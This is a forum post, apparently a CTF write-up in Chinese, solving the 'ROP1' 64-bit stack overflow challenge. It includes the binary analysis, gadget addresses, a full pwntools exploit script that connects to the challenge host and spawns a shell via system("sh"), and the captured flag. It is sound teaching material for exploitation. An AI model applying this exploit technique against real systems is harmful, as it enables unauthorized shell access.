返回
1
0

依旧测试

Laa,2026-04-24 15:09

ROP1 WP

这题是一个很典型的 64 位栈溢出 + ROP 入门题。题目提示说“将 system 与参数分离”,核心就是:程序里虽然有 system,但不会帮我们把参数放进 rdi,所以需要自己用 ROP 链把参数布置好。

1. 基本分析

先看保护:

checksec pwn

结果大致是:

Arch: amd64 NX: enabled Canary: No PIE: No RELRO: Partial

说明:

  • 有 NX,不能直接打 shellcode

  • 没有栈 canary,栈溢出很好利用

  • 没有 PIE,代码段地址固定,ROP 地址可直接写死

2. 漏洞点

main 的关键逻辑是:

sub rsp, 0x20 ... lea rax, [rbp - 0x20] mov edx, 0x100 mov rsi, rax mov edi, 0 call read ... leave ret

也就是:

char buf[0x20]; read(0, buf, 0x100);

这里把 0x100 字节读进只有 0x20 的栈缓冲区,明显栈溢出。

返回地址偏移:

  • 缓冲区:0x20

  • saved rbp:0x8

所以到返回地址的偏移是:

0x20 + 0x8 = 0x28

3. 可利用条件

程序里有现成的:

  • system@plt = 0x401074

  • pop rdi ; ret = 0x40117e

而且 .rodata 里还有字符串:

"Maybe you need this: sh"

其中 "sh" 的地址是:

0x40201e

这就很舒服了,直接构造:

pop rdi ; ret 0x40201e -> rdi = "sh" system@plt

即可执行:

system("sh")

4. ROP 链

完整链子:

payload = b"A" * 0x28 payload += p64(0x40101a) # ret,做栈对齐 payload += p64(0x40117e) # pop rdi ; ret payload += p64(0x40201e) # "sh" payload += p64(0x401074) # system@plt

这里前面补一个单独的 ret 是为了 64 位下栈对齐,更稳一些。

5. EXP

from pwn import * context.arch = "amd64" host = "nc1.ctfplus.cn" port = 45174 io = remote(host, port) payload = b"A" * 0x28 payload += p64(0x40101a) # ret payload += p64(0x40117e) # pop rdi ; ret payload += p64(0x40201e) # "sh" payload += p64(0x401074) # system@plt io.recvline() io.sendline(payload) # 拿到 shell 后读 flag io.sendline(b"/bin/cat /flag") io.interactive()

6. 利用过程

程序启动后会先输出:

Maybe you need this: sh

然后读入我们的 payload,覆盖返回地址,函数 ret 时跳到 ROP 链:

  1. ret

  2. pop rdi ; ret

  3. 把 "sh" 地址放进 rdi

  4. 调用 system("sh")

  5. 拿到 shell

  6. 执行 /bin/cat /flag

7. Flag

0xGame{Y0u_c0mpl373d_R0P1}

暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4